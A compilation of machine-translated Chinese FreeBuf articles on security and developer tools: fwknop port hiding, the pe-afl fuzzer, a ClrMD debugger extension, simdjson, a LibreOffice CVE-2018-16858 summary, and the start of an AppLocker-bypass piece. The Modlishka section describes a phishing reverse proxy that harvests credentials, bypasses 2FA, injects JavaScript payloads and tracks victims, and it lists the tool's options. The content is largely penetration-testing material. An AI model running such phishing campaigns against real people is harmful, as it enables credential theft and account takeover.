介绍

fwknop实现了一种称为单包授权(SPA)的授权方案,用于隐藏服务。SPA将单个数据包经过加密,不可重放,并通过HMAC进行身份验证,以便在传达到隐藏在防火墙后面的服务。

SPA的主要应用场景是防火墙来过滤一切SSH等服务流量,从而使漏洞的利用(包括0day的和未打补丁)变得更加困难。由于没有开放端口,因此无法使用Nmap扫描SPA隐藏的任何服务。

fwknop项目支持四种不同的防火墙:Linux,OpenBSD,FreeBSD和Mac OS X上的iptables,firewalld,PF和ipfw。

SPA基本上是下一代Port Knocking(PK),但在保留其核心优势的同时,解决了PK所表现出的许多限制。PK局限性包括难以防止重放攻击,不对称密码和HMAC计划,通常不可能可靠地支持,这是非常简单的挂载一个DoS攻击PK服务器通过欺骗一个额外的包成PK顺序遍历网络(因此令人信服的PK服务器客户端不知道正确的序列)。所有这些缺点都通过SPA得到了解决。

同时,SPA将服务隐藏在默认的drop防火墙策略后面,被动地获取SPA数据(通常通过libpcap或其他方法),并为SPA包身份验证和加密/解密实现标准的加密操作。

由fwknop生成的SPA数据包利用HMAC在加密然后验证模型中进行身份验证加密。虽然HMAC的使用目前是可选的(通过--use-hmac命令行开关启用),但有三个原因强烈建议使用:

1.如果没有HMAC,除非使用GnuPG,否则fwknop不可能进行加密的强身份验证,但即使这样,仍然应该应用HMAC。

2.加密后应用的HMAC可防止密码分析CBC模式填充oracle攻击,例如Vaudenay攻击和相关欺骗(如最近的针对SSL的“Lucky 13”攻击)。

3.wknopd守护进程验证HMAC所需的代码比解密SPA包所需的代码要简单得多,因此没有正确的HMAC的SPA包甚至不会通过解密例程发送。

上面的最后一个原因是,即使SPA数据包使用GnuPG加密,仍然应该使用HMAC,因为SPA数据不是通过libgpgme函数发送的,除非HMAC首先检出。GnuPG和libgpgme是相对复杂的代码体,因此限制潜在攻击者通过HMAC操作与此代码交互的能力有助于保持更强的安全性。生成用于SPA通信的HMAC除了普通加密密钥之外还需要专用密钥,并且可以使用该--key-gen选项生成两者。

fwknop使用Rijndael分组密码或通过GnuPG和相关的非对称密码对SPA数据包进行加密。如果选择了对称加密方法,则通常在客户端和服务器之间共享加密密钥(/etc/fwknop/access.conf有关详细信息,请参阅文件)。用于Rijndael加密的实际加密密钥是通过标准PBKDF1密钥导出算法生成的,并且设置了CBC模式。如果选择GnuPG方法,则加密密钥从GnuPG密钥环导出。

用例

使用单数据包授权(SPA)或安全性受到挑战的同类端口 Knocking(PK)的人通常访问在部署SPA / PK软件的同一系统上运行的SSHD。也就是说,在主机上运行的防火墙对所有传入的SSH连接都有一个默认删除策略,这样就不能扫描SSHD,但是SPA守护进程会重新配置防火墙,暂时授予对被动认证的SPA客户机的访问权:

1.png

fwknop支持上述内容,但也更加牛批,并且使用NAT(对于iptables / firewalld防火墙)。毕竟,重要的防火墙通常是网络之间的网关,而不是仅部署在独立主机上。NAT通常用于此类防火墙(至少用于IPv4通信),以便为RFC 1918地址空间上的内部网络提供Internet访问,并允许外部主机访问内部系统上托管的服务。

由于fwknop与NAT集成,因此可以利用SPA 通过外部Internet上的用户通过防火墙访问内部服务。虽然这在现代传统网络上有很多应用,但它也允许fwknop支持亚马逊的AWS等云计算环境:

2.png

用户界面

官方跨平台fwknop客户端用户界面fwknop-gui (下载github)由Jonathan Bennett开发。支持大多数主要的客户端SPA模式,包括NAT请求,HMAC和Rijndael密钥(尚不支持GnuPG),fwknoprc节点保存等。目前fwknop-gui在Linux,Mac OS X和Windows上运行。

这是来自OS X的截图:

3.png

教程

有关fwknop的综合教程可以在这里找到:

http://www.cipherdyne.org/fwknop/docs/fwknop-tutorial.html

特征

以下是fwknop项目支持的完整功能列表:

1.在Linux上的iptables和firewalld防火墙,* BSD和Mac OS X上的ipfw防火墙以及OpenBSD上的PF上实现单个数据包授权。

2.fwknop客户端在Cygwin下的Linux,Mac OS X,* BSD和Windows上运行。此外,还有一个Android应用程序可以生成SPA数据包。

3.支持Rijndael和GnuPG方法用于SPA数据包的加密/解密。

4.支持Rijndael和GnuPG的HMAC认证加密。操作顺序是加密 – 然后验证以避免各种密码分析问题。

5.通过有效传入SPA数据包的SHA-256摘要比较来检测和阻止重播攻击。还支持其他摘要算法,但SHA-256是默认算法。

6.通过libpcap从导线上被动地嗅探SPA包。fwknopd服务器还可以从由单独的以太网嗅探器(例如with tcpdump -w <file>),iptables ULOG pcap writer或直接通过UDP套接字--udp-server模式写入的文件中获取数据包数据。

7.对于iptables防火墙,fwknop添加的ACCEPT规则在自定义iptables链中添加和删除(在可配置的超时之后),以便fwknop不会干扰可能已经加载到系统上的任何现有iptables策略。

8.支持经过身份验证的SPA通信的入站NAT连接(仅适用于iptables防火墙)。这意味着可以将fwknop配置为创建DNAT规则,以便您可以从开放Internet访问RFC 1918 IP地址上的内部系统上运行的服务(如SSH)。还支持SNAT规则,它实质上将fwknopd转换为SPA验证网关,以从内部网络访问Internet。

9.fwknop服务器支持多个用户,并且可以通过/etc/fwknop/access.conf文件为每个用户分配自己的对称或非对称加密密钥。

10.通过https://www.cipherdyne.org/cgi-bin/myip自动解析外部IP地址 (当从NAT设备后面运行fwknop客户端时,这非常有用)。由于外部IP地址在此模式下在每个SPA数据包内进行加密,因此中间人(MITM)会攻击内联设备拦截SPA数据包并仅从其他IP转发以获取访问权限受到阻碍。

11.SPA数据包的目标端口以及通过iptables NAT功能建立后续连接的端口支持端口随机化。后者适用于转发到内部服务的连接以及授予运行fwknopd的系统上的本地套接字的访问权限。

12.与Tor集成(如本DefCon 14演示文稿中所述)。请注意,由于Tor使用TCP进行传输,因此通过Tor网络发送SPA数据包要求每个SPA数据包都通过已建立的TCP连接发送,因此从技术上讲,这打破了“单数据包授权”的“单一”方面。但是,Tor提供的匿名优势在某些部署中可能超过这一考虑因素。

13.实现SPA通信的版本化协议,因此很容易扩展协议以提供新的SPA消息类型,同时保持与旧的fwknop客户端的向后兼容性。

14.支持代表有效SPA数据包执行shell命令。

15.fwknop服务器可以配置为对入站SPA数据包施加多个限制,超出加密密钥强制执行的限制和重放攻击检测。即,包年龄,源IP地址,远程用户,对请求端口的访问等。

16.捆绑了fwknop是一个全面的测试套件,它发布了一系列测试,旨在验证fwknop的客户端和服务器部分是否正常工作。这些测试涉及通过本地环回接口嗅探SPA数据包,构建临时防火墙规则,根据测试配置检查相应的访问权限,并解析来自fwknop客户端和fwknopd服务器的输出,以获得每个测试的预期标记。测试套件输出可以很容易地匿名化,以便与第三方进行通信以进行分析。

17.fwknop是第一个将端口敲击与被动操作系统指纹识别相结合的程序。但是,单包授权提供了除端口 knocking之外的许多安全优势,因此通常不推荐端口 knocking操作模式。

License

fwknop项目根据GNU通用公共许可证(GPL v2)或(根据您的选择)任何更新版本的条款作为开源软件发布。最新版本可在http://www.cipherdyne.org/fwknop/找到。

升级

如果您从旧版本的fwknop升级(这也包括原始的perl实现),那么您将需要阅读以下链接以确保顺利过渡到fwknop-2.5或更高版本:

http://www.cipherdyne.org/fwknop/docs/fwknop-tutorial.html#backwards-compatibility

Building fwknop

此发行版使用GNU autoconf来设置构建。INSTALL有关使用autoconf的一般基础知识,请参阅文件。

有一些特定于fwknop的“配置”选项。它们是(从./configure –help中提取):

  --disable-client        Do not build the fwknop client component. The
                        default is to build the client.
--disable-server       Do not build the fwknop server component. The
                        default is to build the server.
--with-gpgme           support for gpg encryption using libgpgme
                        [default=check]
--with-gpgme-prefix=PFX prefix where GPGME is installed (optional)
--with-gpg=/path/to/gpg Specify path to the gpg executable that gpgme will
                        use [default=check path]
--with-firewalld=/path/to/firewalld
                        Specify path to the firewalld executable
                        [default=check path]
--with-iptables=/path/to/iptables
                        Specify path to the iptables executable
                        [default=check path]
--with-ipfw=/path/to/ipfw
                        Specify path to the ipfw executable [default=check
                        path]
--with-pf=/path/to/pfctl
                        Specify path to the pf executable [default=check
                        path]
--with-ipf=/path/to/ipf Specify path to the ipf executable [default=check
                        path]

Examples:

./configure --disable-client --with-firewalld=/bin/firewall-cmd
./configure --disable-client --with-iptables=/sbin/iptables --with-firewalld=no

笔记

从Perl版本的fwknop迁移

对于那些目前正在使用Perl版本并计划迁移到此版本的人,有一些事项需要注意:

1.并非所有基于Perl的fwknop的特性和功能都被移植到此实现中。我们认为保持C版本尽可能精简和轻量化非常重要。大多数省略的功能/功能(如电子邮件警报)可以通过其他方式完成(即使用外部脚本监视日志文件并根据相应的日志消息发出警报)。

2.fwknop配置和访问文件指令和值存在一些差异。其中一些是相当微妙的。您应该特别注意这些文件中的文档和注释。

*参考来源:github,FB小编周大涛编译,转载请注明来自FreeBuf.COM

pe-afl是一款基于了PE二进制和WinAFL上的静态二进制检测的工具,可以用于fuzzWindows应用程序和内核模式驱动程序,而无需源代码或完整符号或硬件支持。

我用这个工具发现了office,gdiplus,jet,lnk,clfs,cng上的bug。

PE上的仪表部分可以被多种用途重用:

1. 如果你觉得测试速度很慢,你可以在ubuntu上运行这个脚本;

2. 该工具基于microsoft二进制文件和visual studio编译的二进制文件,因此在非microsoft编译器上可能会出现故障。

操作方法

在calc.exe入口点测量2 NOP的例子:

ida.exe demo\calc.exe
# 如果pdb可用,则使用pdb加载更可靠


File->script file->ida_dump.py

python instrument.py -i"{0x1012d6c:'9090'}" demo\calc.exe demo\calc.exe.dump.txt
# 0x1012d6c is entry point address, you can instrument from command-line or from __main__ in instrument.py

如何fuzz

您必须根据目标实现包装器,并添加你想要的东西,例如page heap等。

JetDB用于fuzz测试

ida.exe demo\msjet40.dll

File->script file->ida_dump.py

python pe-afl.py -m demo\msjet40.dll demo\msjet40.dll.dump.txt
# msjet40是多线程的,所以使用-m参数

在win7上测试JetDB

copy /Y msjet40.instrumented.dll C:\Windows\System32\msjet40.dll

bin\afl-showmap.exe -o NUL -p msjet40.dll -- bin\test_mdb.exe demo\mdb\normal.mdb
# 确保能够捕获

bin\AFL.exe -i demo\mdb -o out -t 5000 -m none -p msjet40.dll -- bin\test_mdb.exe @@

模糊测试CLFS

ida.exe demo\clfs.sys
File->script file->ida_dump.py

python pe-afl.py demo\clfs.sys demo\clfs.sys.dump.txt

在win10上的模糊测试CLFS

install_helper.bat
disable_dse.bat
copy /Y clfs.instrumented.sys C:\Windows\System32\drivers\clfs.sys
# reboot if necessary

bin\afl-showmap.exe -o NUL -p clfs.sys -- bin\test_clfs.exe demo\blf\normal.blf
# make sure that capture is OK

bin\AFL.exe -i demo\blf -o out -t 5000 -m none -p clfs.sys -- bin\test_clfs.exe @@

如何追踪

示例记录驱动程序执行并导入lighthouse

ida.exe demo\clfs.sys
File->script file->ida_dump.py

python pe-afl.py -cb demo\clfs.sys demo\clfs.sys.dump.txt
copy /Y clfs.instrumented.sys C:\Windows\System32\drivers\clfs.sys
# reboot if necessary

bin\afl-showmap.exe -o NUL -p clfs.sys -d -- bin\test_clfs.exe demo\blf\normal.blf
# output is trace.txt

python lighthouse_trace.py demo\clfs.sys demo\clfs.sys.mapping.txt trace.txt > trace2.txt

# install lighthouse
xcopy /y /e lighthouse [IDA folder]\plugins\

ida.exe demo\clfs.sys
File->Load File->Code coverage file->trace2.txt

参考来源:github,FB小编周大涛编译,转载请注明来自FreeBuf.COM

在之前的如何为WinDbg编写ClrMD扩展的CriteoLabs文章中,我们介绍了在Windows上面写插件。当迁移到Linux时,由于LLDB是Linux上.NET网络核心的通用调试器,因此我决定编写一个兼容层,以便能够在新环境中加载扩展。

什么是ClrMD插件

如何创建一个适用于WinDbg和LLDB的扩展?第一步仍然是创建一个新的类库项目。无论是.NET Framework和.NET Standard都可以,但有些事情需要注意:

1.如果选择.NET Framework,请确保不要使用与.NET Core不兼容的任何功能(例如AppDomain),否则您将无法在LLDB中运行扩展;

2.如果选择.NET Standard,请记住发布项目以将所有依赖项包含在一个文件夹中,因为在编译时默认情况下不会这样做

创建项目后,添加对ClrMDExports nuget包的引用。它会自动将ClrMD和UnmanagedExports.Repack作为依赖项。UnmanagedExports.Repack是UnmanagedExports的一个分支,它增加了与.NET Framework 4.7+和.NET Standard的兼容性,并支持PackageReference。

请注意,新的Init.cs文件将添加到您的项目中(如果您使用包引用,则不应该看到它)。不要对此文件进行任何更改。每次更新nuget包时都会被覆盖。

Init文件负责导出WinDbg所需的DebugExtensionInitialize方法,并设置所有内容,只要依赖项与扩展位于相同的文件夹中,就可以正确加载它们。

下一步是添加自定义命令。您需要为每个命令创建一个静态方法,并使用以下签名:

public static void HelloWorld(IntPtr client, [MarshalAs(UnmanagedType.LPStr)] string args)
{
}

然后使用UnmanagedExports附带的DllExport属性装饰它。您可以使用ExportName属性的参数来定义WinDbg / LLDB可见的命令名称。请记住,名称区分大小写!

[DllExport("helloworld")]
public static void HelloWorld(IntPtr client, [MarshalAs(UnmanagedType.LPStr)] string args)
{
}

在该方法中,您应该只调用DebuggingContext.Execute由ClrMDExports提供的方法。它接受clientargs作为参数的值,以及带有(ClrRuntime runtime, string args)签名的另一个静态方法的委托。在静态回调方法中,实现命令。

[DllExport("helloworld")]
public static void HelloWorld(IntPtr client, [MarshalAs(UnmanagedType.LPStr)] string args)
{
    DebuggingContext.Execute(client, args, HelloWorld);
}

private static void HelloWorld(ClrRuntime runtime, string args)
{
    Console.WriteLine("The first 10 types on the heap are: ");

    foreach (var type in runtime.Heap.EnumerateTypes().Take(10))
    {
        Console.WriteLine(type);
    }
}

为方便起见,控制台输出会自动重定向到调试器。

您可以直接在WinDbg中加载和使用您的扩展:

1.jpg

在Linux上运行LLDB

由于扩展是为WinDbg API编写的,因此无法直接加载到LLDB中。相反, 我编写了一个进行翻译的插件

首先,下载最新版本的LLDB-LoadManaged元插件并将其解压缩到一个文件夹中。

然后启动LLDB并附加到目标:

./lldb -c dump.dmp

接下来,加载元插件:

plugin load ./loadmanaged/libloadmanaged.so

确保Mono.Cecil.dll和PluginInterop.dll文件与libloadmanaged.so位于同一文件夹中。

加载后,LLDB-LoadManaged将尝试通过浏览调试目标中加载的模块来定位CoreCLR。如果失败(例如,因为您在与目标不同的机器上运行lldb),您可以通过调用SetClrPath以下命令手动设置路径:

SetClrPath /usr/local/share/dotnet/shared/Microsoft.NETCore.App/2.2.0/

最后,使用以下LoadManaged命令加载WinDbg扩展:

LoadManaged /home/k.gosse/TestExtension.dll

(该LoadManaged命令尚不支持相对路径)

就是这样!现在,您可以像在WinDbg中一样调用扩展程序。

2.jpg

WinDbg的ClrMD扩展在Linux上的LLDB中完美运行

注意:libloadmanaged.so和libsosplugin.so都会根据自己的需要托管CLR。但是,.NET Core CLR不支持并排方案。这意味着我们不能同时使用LoadManaged和SOS插件。这可以讲是一个限制,它不太可能在.NET Core端修复。我们这里有一种解决方法,可以通过LoadManaged加载并替换libsosplugin.so的SOS托管版本。

接下来的路

这虽然是LLDB-LoadManaged的早期版本。在接下来的几周里,我想改进错误处理并使CLR路径检测变得更加智能。还有一点,其实我们已经在Criteo上使用它,这么来说它对于常见的用例应该足够稳定。使用LLDB与独立ClrMD应用程序的主要附加价值是可以附加到实时进程(Linux上的ClrMD尚不支持)。我也想知道基于ClrMD(https://github.com/dotnet/diagnostics/tree/master/src/Tools)的跨平台REPL环境有一些知识,所以很高兴看到这两项工作如何汇合。

*参考来源medium,由周大涛编译,转载请注明来自FreeBuf.COM

Modlishka是一个灵活而强大的反向代理,可以将道德网络钓鱼活动提升到新的水平。

它的目的是:

帮助渗透测试人员开展有效的网络钓鱼活动。 可以很快创建和实施足够的安全解决方案。 提高社区对现代网络钓鱼技术和策略的认识。 支持需要通用反向代理的其他开源项目。

特点

支持大多数2FA身份验证方案(按设计) 无需网站模板(只需将Modlishka指向目标域 – 在大多数情况下,它将自动处理)。 通过自定义新技术完全控制来自受害者浏览器的TLS流量。 通过配置选项提供灵活且易于配置的网络钓鱼方案。 基于JavaScript paylaod的模式注入 从所有加密和安全标题中删除网站。 获取用户凭证(使用基于URL参数的上下文传递标识符)。 支持插件扩展。 无国籍设计。可以为任意数量的用户轻松扩展 – 例如 通过DNS负载均衡器。 Web面板,包含已收集凭据和用户会话模拟(beta POC)的摘要。 免费后门 Go语言编写。

实操

“一张图片胜过千言万语”:Modlishka针对示例标准2FA(SMS)启用的身份验证方案:

1.jpeg

<https://vimeo.com/308709275>注意:这里选择google.com只是为了概念。

安装

最新的源代码版本可以从这里(tar)获取。使用’go get’获取代码:

$ go get -u github.com/drk1wi/Modlishka

编译二进制文件:

$ cd $GOPATH/src/github.com/drk1wi/Modlishka/
$ make

2.png

# ./dist/proxy -h
Usage of ./dist/proxy:
      
  -cert string
        base64编码TLS证书
  
  -certKey string
        base64编码TLS证书密钥
  
  -certPool string
        base64编码认证机构证书
  
  -config string
        JSON配置文件。方便而不用命令行开关。
  -credParams string
          具有正则匹配。例如:base64 (username_regex), base64 (password_regex)
  -debug
        输出调试信息
  -disableSecurity
        禁用反ssrf等安全特性。禁用它的风险自负
  
  -jsRules string
        逗号分隔的URL模式列表和将被注入的JS base64编码的有效负载。
  
  -listeningAddress string
        监听地址(默认为“127.0.0.1”)
  
  -listeningPort string
        监听端口(默认为“443”)
  
  -log string
        将请求写入本地文件
  
  -phishing string
        要创建的网络钓鱼域名-例如:target.co
  
  -plugins string
        逗号分隔的启用插件名称列表(默认为“all”)
  -postOnly
        只记录HTTP POST请求
  
  -target string
        代理的主要目标-例如:https://target.com
  -targetRules string
        逗号分隔的“字符串”模式及其替换项列表。
  
  -targetRes string
        需要通过代理的目标子域的逗号分隔列表
  
  -terminateTriggers string
        逗号分隔的url列表从目标的原点,这将触发会话终止
  
  -terminateUrl string
        在会话终止之后重定向的URL
  
  -tls
        启用TLS(默认为false)
  
  -trackingCookie string
        用于跟踪受害者的HTTP cookie的名称(默认“id”)
  
  -trackingParam string
        用于跟踪受害者的HTTP参数的名称(默认“id”)

*参考来源github,由周大涛编译,转载请注明来自FreeBuf.COM

JSON文档在Internet上无处不在,服务器花费大量时间来解析这些文档。我们希望在进行完全验证(包括字符编码)时尽可能使用常用的SIMD指令来加速JSON本身的解析。

表现结果

simdjson使用的指令比最先进的解析器RapidJSON少四分之三,比sajson少百分之五十。据我们所知,simdjson是第一个在商用处理器上以每秒千兆字节运行的完全验证的JSON解析器。

gbps.png

在Skylake处理器上,twitter.json文件上各种处理器的解析速度(以GB / s为单位)如下。

解析器 GB /秒
simdjson 2.2
RapidJSON编码验证 0.51
RapidJSON编码验证,原位 0.71
sajson(原状,动态) 0.70
sajson(insitu,static) 0.97
dropbox 0.14
FASTJSON 0.26
gason 0.85
ultrajson 0.42
jsmn 0.28
cJSON 0.34

要求

我们通过Visual Studio 2017或更高版本支持Linux或macOS等平台以及Windows;

带有AVX2的处理器(即,2013年发布的Haswell微体系结构的Intel处理器和2017年发布的Zen微体系结构的AMD处理器);

最近的C ++编译器(例如,GNU GCC或LLVM CLANG或Visual Studio 2017),我们假设C ++ 17。GNU GCC 7或更高版本或LLVM的clang 6或更高版本。

License

此代码在Apache License 2.0下提供。

在Windows下,我们使用windows/dirent_portable.h文件(在我们的库代码之外)构建一些工具

代码示例

#include "simdjson/jsonparser.h"

/...

const char * filename = ... //

//使用您想要的任何方式获取JSON文档的字符串
std::string_view p = get_corpus(filename);
ParsedJson pj;
pj.allocateCapacity(p.size());//分配内存以解析p.size()字节
const int res = json_parse(p, pj); //进行解析,成功时返回0 
//解析完成!
if(res!= 0){
     //您可以使用“simdjson / simdjson.h”标头来访问错误消息 
   std::cout << "Error parsing:" << simdjson::errorMsg(res) << std::endl;
}
//你可以安全地删除字符串内容
free((void*)p.data());
//可以在这里使用ParsedJson文档
// js可以与其他json_parse调用一起使用。

如果您不介意为每个新的JSON文档分配内存开销,也可以使用更简单的API:

#include "simdjson/jsonparser.h"

/ ...

const char * filename = ... //
std::string_view p = get_corpus(filename);
ParsedJson pj = build_parsed_json(p);  //进行解析
//此时你不再需要p,可以执行aligned_free((void *)p.data())
if( ! pj.isValid() ) {
     //出错了 
}

用法:简单的版本

有关用法,请参阅“singleheader”存储库的文件“amalgamation_demo.cpp”。这不需要特定的构建系统:只需在包含路径中复制项目中的文件即可。然后,您可以非常简单地包含它们:

#include <iostream>
#include "simdjson.h"
#include "simdjson.cpp"
int main(int argc, char *argv[]) {
  const char * filename = argv[1];
  std::string_view p = get_corpus(filename);
  ParsedJson pj = build_parsed_json(p); // do the parsing
  if( ! pj.isValid() ) {
    std::cout << "not valid" << std::endl;
  } else {
    std::cout << "valid" << std::endl;
  }
  return EXIT_SUCCESS;
}

我们需要AVX2指令的硬件支持。您必须确保指示编译器根据需要使用这些说明。在GNU GCC或LLVM clang等编译器下,-march=native最近的Intel处理器(Haswell或更好)上使用的标志就足够了。为了便于二进制文件的可移植性,您还可以直接指定Haswell处理器(-march=haswell)。您也可以使用标志-mavx2 -mbmi2。在Visual Studio下,您需要定位x64并添加标志/arch:AVX2

注意:在某些设置中,可能需要预编译simdjson.cpp而不是包含它。

用法(在Linux或macOS等平台上使用旧版Makefile)

要求:最近的clang或gcc,和make。我们建议至少使用GNU GCC / G ++ 7或LLVM clang 6.需要像Linux或macOS这样的系统。

测试:

make
make test

要运行基准测试:

make parse
./parse jsonexamples/twitter.json

在Linux下,该parse命令提供了性能计数器的详细分析。

运行比较基准测试(与其他解析器):

make benchmark

用法(在Linux或macOS等平台上使用CMake)

要求:我们需要最新版本的cmake。在macOS上,安装cmake的最简单方法可能是使用brew然后键入

brew install cmake

在Linux上有一个相同的Brew也可以以相同的方式工作

你需要一个像clang或gcc这样的最新编译器。我们建议至少使用GNU GCC / G ++ 7或LLVM clang 6.例如,您可以使用brew安装最新的编译器:

brew install [email protected]

可选:您需要通过设置CC和CXX变量告诉cmake您希望使用哪个编译器。bash下,你可以用诸如命令这样做export CC=gcc-7export CXX=g++-7

构建:在项目存储库中,执行以下操作:

mkdir build
cd build
cmake ..
make
make test

默认情况下,它构建一个共享库(例如,Linux上的libsimdjson.so)。

您可以构建一个静态库:

mkdir buildstatic
cd buildstatic
cmake -DSIMDJSON_BUILD_STATIC=ON ..
make
make test

在某些情况下,您可能希望指定编译器,尤其是在系统上的默认编译器太旧的情况下。您可以按以下步骤操作:

brew install [email protected]
mkdir build
cd build
export CXX=g++-8 CC=gcc-8
cmake ..
make
make test

用法(使用Visual Studio在Windows上进行CMake)

我们假设您有一台普通的Windows PC,至少包含Visual Studio 2017和支持AVX2的x64处理器(2013 Intel Haswell或更高版本)。

从GitHub获取simdjson代码,例如,使用GitHub Desktop克隆它;

安装CMake。安装时,请确保cmake从命令行询问是否可用。请选择最新版本的cmake;

在simdjson中创建一个子目录,例如VisualStudio;

使用shell,转到这个新创建的目录;

cmake -DCMAKE_GENERATOR_PLATFORM=x64 ..VisualStudio存储库中键入shell 。(或者,如果要构建DLL,可以使用命令行cmake -DCMAKE_GENERATOR_PLATFORM=x64 -DSIMDJSON_BUILD_STATIC=OFF ..

最后一个命令在新创建的目录中创建了一个Visual Studio解决方案文件(例如simdjson.sln)。在Visual Studio中打开此文件。您现在应该能够构建项目并运行测试。例如,在Solution Explorer窗口(可从View菜单中获得)中,右键单击ALL_BUILD并选择Build。要测试代码,仍然在Solution Explorer窗口中,选择RUN_TESTS并选择Build

用法(在Windows,Linux和MacOS上使用vcpkg)

Windows,Linux和MacOS上的vcpkg用户可以simdjson使用他们喜欢的shell中的一个命令下载和安装。

在Linux和MacOS上:

$ ./vcpkg install simdjson

将构建并安装simdjson为静态库。

在Windows(64位)上:

.\vcpkg.exe install simdjson:x64-windows

将构建并安装simdjson为共享库。

.\vcpkg.exe install simdjson:x64-windows-static  

将构建并安装simdjson为静态库。

这些命令还将打印出有关如何使用MSBuild或基于CMake的项目库的说明。

如果您发现simdjson附带的版本vcpkg已过期,请随时通过提交vcpkg问题或创建PR 向社区报告。

工具

json2json mydoc.json解析文档,构造模型,然后将结果转储回标准输出

json2json -d mydoc.json解析文档,构造模型,然后将模型(作为磁带)转储到标准输出。磁带格式在随附文件中描述tape.md

minify mydoc.json`缩小JSON文档,将结果输出到标准输出。缩小意味着删除不需要的空格字符。

范围

我们提供快速解析器。它根据各种规格完全验证输入。解析器构建一个有用的不可变(只读)DOM(文档 – 对象模型),以后可以访问它。

为了简化工程,我们做了一些假设:

我们支持UTF-8(以及ASCII),没有别的(没有拉丁语,没有UTF-16)。我们不认为这是一个真正的限制,因为我们认为没有任何严重的应用程序需要在没有ASCII或UTF-8编码的情况下处理JSON数据;

JSON文档中的所有字符串最多可包含UTF-8(4GB)中的4294967295个字节。要强制执行此约束,我们拒绝解析包含超过4294967295字节(4GB)的文档。这应该适应大多数JSON文档;

我们假设AVX2支持在AMD和英特尔生产的所有最新主流x86处理器中都可用。尽管可以完成,但不包括对非x86处理器的支持。我们计划支持ARM处理器(请求帮助);

如果发生故障,我们只会报告故障,而不会指出问题的性质。(这可以在不影响性能的情况下轻松改进);

在规范允许的情况下,我们允许对象内的重复键(像sajson这样的其他解析器也这样做);

性能针对跨越至少几十千字节到几兆字节的JSON文档进行了优化:必须解析许多小型JSON文档或一个真正庞大的JSON文档的性能问题是不同的。

我们的目标不是提供通用的JSON库。像RapidJSON这样的库提供的不仅仅是解析,它还可以帮助您生成JSON并提供各种其他方便的功能。我们只解析文档。

特征

输入字符串未修改,(像sajson和RapidJSON这样的解析器使用输入字符串作为缓冲区)。

我们将整数和浮点数解析为单独的类型,这允许我们支持[-9223372036854775808,9223372036854775808]中的大型64位整数,如Java long或C / C ++ long long。在区分整数和浮点数的解析器中,并非所有解析器都支持64位整数。(例如,sajson拒绝整数大于或等于2147483648的JSON文件.FreeJSON将解析包含过长整数的文件,如18446744073709551616作为浮点数)当我们无法将整数表示为带符号的64位时值,我们拒绝JSON文档。

在解析过程中进行完整的UTF-8验证(像fastjson,gason和dropbox json11这样的解析器不会进行UTF-8验证);完全验证了这些数字(像gason和ultranjson这样的解析器将接受[0e+]为有效的JSON);验证未转义字符的字符串内容(像fastjson和ultrajson这样的解析器接受未转义的换行符和字符串中的标签)。

Architecture

解析器分两个阶段工作:

阶段1.(查找标记)快速标识结构元素,字符串等。我们在那个阶段验证UTF-8编码。

阶段2.(结构构建)涉及构建排序的“树”(具体化为磁带)以浏览数据。在此阶段解析字符串和数字。

导航已解析的文档

以下是将解析后的JSON转储回字符串的代码示例:

   ParsedJson::iterator pjh(pj);
    if (!pjh.isOk()) {
      std::cerr << " Could not iterate parsed result. " << std::endl;
      return EXIT_FAILURE;
    }
    compute_dump(pj);
    //
    // where compute_dump is :

void compute_dump(ParsedJson::iterator &pjh) {
  if (pjh.is_object()) {
    std::cout << "{";
    if (pjh.down()) {
      pjh.print(std::cout); // must be a string
      std::cout << ":";
      pjh.next();
      compute_dump(pjh); // let us recurse
      while (pjh.next()) {
        std::cout << ",";
        pjh.print(std::cout);
        std::cout << ":";
        pjh.next();
        compute_dump(pjh); // let us recurse
      }
      pjh.up();
    }
    std::cout << "}";
  } else if (pjh.is_array()) {
    std::cout << "[";
    if (pjh.down()) {
      compute_dump(pjh); // let us recurse
      while (pjh.next()) {
        std::cout << ",";
        compute_dump(pjh); // let us recurse
      }
      pjh.up();
    }
    std::cout << "]";
  } else {
    pjh.print(std::cout); // just print the lone value
  }
}

以下函数将查找所有user.id整数:

void simdjson_traverse(std::vector<int64_t> &answer, ParsedJson::iterator &i) {
  switch (i.get_type()) {
  case '{':
    if (i.down()) {
      do {
        bool founduser = equals(i.get_string(), "user");
        i.next(); // move to value
        if (i.is_object()) {
          if (founduser && i.move_to_key("id")) {
            if (i.is_integer()) {
              answer.push_back(i.get_integer());
            }
            i.up();
          }
          simdjson_traverse(answer, i);
        } else if (i.is_array()) {
          simdjson_traverse(answer, i);
        }
      } while (i.next());
      i.up();
    }
    break;
  case '[':
    if (i.down()) {
      do {
        if (i.is_object_or_array()) {
          simdjson_traverse(answer, i);
        }
      } while (i.next());
      i.up();
    }
    break;
  case 'l':
  case 'd':
  case 'n':
  case 't':
  case 'f':
  default:
    break;
  }
}

深入比较

如果您想了解各种解析器如何验证给定的JSON文件:

make allparserscheckfile
./allparserscheckfile myfile.json

对于性能比较:

make parsingcompetition
./parsingcompetition myfile.json

进行更广泛的比较:

make allparsingcompetition
./allparsingcompetition myfile.json

*参考来源github,由周大涛编译,转载请注明来自FreeBuf.COM

如今,许多攻击技术都在使用Microsoft Office文档来分发恶意软件。近年来,文档漏洞利用工具包构建器已经有了很多发展,更不用说红色绕过安全解决方案的技巧

与不需要用户交互的下载相比,基于文档的攻击通常包含某种社交工程组件。从被诱骗开放附件以启用宏,攻击者正在使用各种主题和鱼类网络钓鱼技术来感染他们的受害者。

今天我们来看看LibreOffice中的漏洞,LibreOffice是免费的开源办公套件,OpenOffice(现在是Apache OpenOffice)可用于Windows,Mac和Linux。这个错误(CVE-2018-16858)是由AlexInführ发现的,他负责地披露了这个错误,然后在他的博客上发布了结果并附带了一个概念验证。

LibreOffice套件远程代码执行漏洞

攻击者可以利用此漏洞执行远程代码,这可能会导致系统崩溃。该缺陷使用鼠标悬停事件,这意味着必须欺骗用户将鼠标放在文档中的链接上。这会触发Python文件的执行(与LibreOffice一起安装)并允许传递和执行参数。

我们测试了John Lambert共享的几个payload。流程通常如下所示:

soffice.exe -> soffice.bin -> cmd.exe -> calc.exe

LibreOffice套件远程代码执行漏洞

该漏洞已在LibreOffice中修补,但尚未在Apache OpenOffice中修补。时间会告诉我这个漏洞最终是否会在野外使用。值得注意的是,不是每个人都使用Microsoft Office,威胁参与者可以将其视为针对他们知道可能使用开源生产力软件的特定受害者。

*参考来源malwarebytes,由周大涛编译,转载请注明来自FreeBuf.COM

在这篇文章中,我们将为大家介绍如何绕过AppLocker。在上一篇文章,即“Windows AppLocker策略入门指南”中,我们为读者介绍了如何通过AppLocker规则来定义应用程序控制策略,以及如何实施这些策略。接下来,我们将介绍如何借助MSbuild.exe绕过AppLocker策略。

大概内容

